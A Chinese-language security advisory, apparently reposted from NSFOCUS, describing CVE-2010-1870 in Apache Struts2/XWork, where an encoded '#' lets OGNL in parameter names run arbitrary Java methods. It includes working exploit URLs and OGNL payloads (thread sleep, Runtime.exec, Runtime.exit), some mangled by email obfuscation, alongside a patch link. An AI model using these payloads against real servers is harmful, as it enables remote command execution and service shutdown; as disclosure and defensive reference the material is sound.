Apache Struts2 XWork绕过安全限制执行任意命令漏洞

http://mydomain/MyStruts.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\[email protected]@EMPTY_SET')(c))&(d)(('@java.lang.Thread@sleep(60000)')(d))

线程休眠60s

http://www.nsfocus.net/vulndb/15431

发布日期:2010-07-09
更新日期:2010-07-15

受影响系统:

OpenSymphony XWork < 2.2.0
Apache Group Struts < 2.2.0

描述:


BUGTRAQ  ID: 41592
CVE ID: CVE-2010-1870

XWork是一个命令模式框架,用于支持Struts 2及其他应用。

XWork处理用户请求参数数据时存在漏洞,远程攻击者可以利用此漏洞在系统上执行任意命令。

Struts2中WebWork框架使用XWork基于HTTP参数名执行操作和调用,将每个HTTP参数名处理为OGNL(对象图形导航语言)语句,而OGNL将:  

user.address.city=Bishkek&user['favoriteDrink']=kumys  

转换为:  

action.getUser().getAddress().setCity("Bishkek")  
action.getUser().setFavoriteDrink("kumys")  

这是通过ParametersInterceptor来执行的,使用用户提供的HTTP参数调用ValueStack.setValue()。  

除了获取和设置属性外,OGNL还支持其他一些功能:  

    * 方法调用:foo()  
    * 静态方式调用: @java.lang.System@exit(1)  
    * 构建函数调用:new MyClass()  
    * 处理上下文变量:#foo = new MyClass()  

由于HTTP参数名为OGNL语句,为了防范攻击者通过HTTP参数调用任意方式,XWork使用了以下两个变量保护方式的执行:  

    * OgnlContext的属性xwork.MethodAccessor.denyMethodExecution(默认设置为true)  
    * SecurityMemberAccess私有字段allowStaticMethodAccess(默认设置为false)
  
为了方便开发人员访问各种常用的对象,XWork提供了一些预定义的上下文变量:  

    * #application  
    * #session  
    * #request  
    * #parameters  
    * #attr  
    * #context
    * #_memberAccess
    * #root  
    * #this  
    * #_typeResolver  
    * #_classResolver  
    * #_traceEvaluations  
    * #_lastEvaluation  
    * #_keepLastEvaluation  

这些变量代表各种服务器端对象。为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使用了Java的unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值:  

#_memberAccess['allowStaticMethodAccess'] = true  
#foo = new java .lang.Boolean("false")  
#context['xwork.MethodAccessor.denyMethodExecution'] = #foo  
#rt = @java.lang.Runtime@getRuntime()  
#rt.exec('mkdir /tmp/PWNED')

<*来源:Meder Kydyraliev ([email protected]
  
  链接:http://secunia.com/advisories/32495/
        http://www.exploit-db.com/exploits/14360/
*>

测试方法:


警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

http://mydomain/MyStruts.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\[email protected]@getRuntime()))=1

建议:


厂商补丁:

Apache Group
------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://svn.apache.org/viewvc?view=revision&revision=956389

猜你喜欢

转载自demon3780.iteye.com/blog/1575775